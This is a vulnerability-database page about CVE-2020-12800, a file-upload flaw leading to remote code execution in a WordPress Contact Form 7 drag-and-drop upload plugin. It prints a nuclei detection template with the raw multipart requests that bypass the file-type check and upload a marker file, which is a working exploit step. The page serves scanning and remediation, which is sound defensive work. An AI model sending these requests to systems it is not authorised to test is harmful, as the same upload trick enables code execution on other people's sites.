HexBrain

Browse / CVEs / CVE-2020-12800

CVE-2020-12800· codedropz / drag and drop multiple file upload - contact form 7· CWE-434

WordPress Contact Form 7 <1.3.3.3 - Remote Code Execution

criticalseverity
9.8CVSS score
78.6%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

WordPress Contact Form 7 before 1.3.3.3 allows unrestricted file upload and remote code execution by setting supported_type to php% and uploading a .php% file.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected WordPress site.

Fix

Update the Contact Form 7 plugin to version 1.3.3.3 or later to mitigate this vulnerability.

How to confirm it

Send: POST /wp-admin/admin-ajax.php ; GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.txt
Positive when: contains in body_2 "CVE-2020-12800-{{randstr}}" AND status 200

Run it with nuclei: nuclei -id CVE-2020-12800 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-12800

info:
  name: WordPress Contact Form 7 <1.3.3.3 - Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: |
    WordPress Contact Form 7 before 1.3.3.3 allows unrestricted file upload and remote code execution by setting supported_type to php% and uploading a .php% file.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected WordPress site.
  remediation: |
    Update the Contact Form 7 plugin to version 1.3.3.3 or later to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12800
    - https://github.com/amartinsec/CVE-2020-12800
    - https://packetstormsecurity.com/files/157951/WordPress-Drag-And-Drop-Multi-File-Uploader-Remote-Code-Execution.html
    - https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-12800
    cwe-id: CWE-434
    epss-score: 0.78608
    epss-percentile: 0.99589
    cpe: cpe:2.3:a:codedropz:drag_and_drop_multiple_file_upload_-_contact_form_7:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: codedropz
    product: drag_and_drop_multiple_file_upload_-_contact_form_7
    framework: wordpress
  tags: cve,cve2020,wordpress,wp-plugin,fileupload,wp,rce,packetstorm,intrusive,codedropz,vkev,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------350278735926454076983690555601
        X-Requested-With: XMLHttpRequest

        -----------------------------350278735926454076983690555601
        Content-Disposition: form-data; name="supported_type"

        txt%
        -----------------------------350278735926454076983690555601
        Content-Disposition: form-data; name="size_limit"

        5242880
        -----------------------------350278735926454076983690555601
        Content-Disposition: form-data; name="action"

        dnd_codedropz_upload
        -----------------------------350278735926454076983690555601
        Content-Disposition: form-data; name="type"

        click
        -----------------------------350278735926454076983690555601
        Content-Disposition: form-data; name="upload-file"; filename="{{randstr}}.txt%"
        Content-Type: application/x-httpd-php

        CVE-2020-12800-{{randstr}}
        -----------------------------350278735926454076983690555601--
      - |
        GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "CVE-2020-12800-{{randstr}}"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from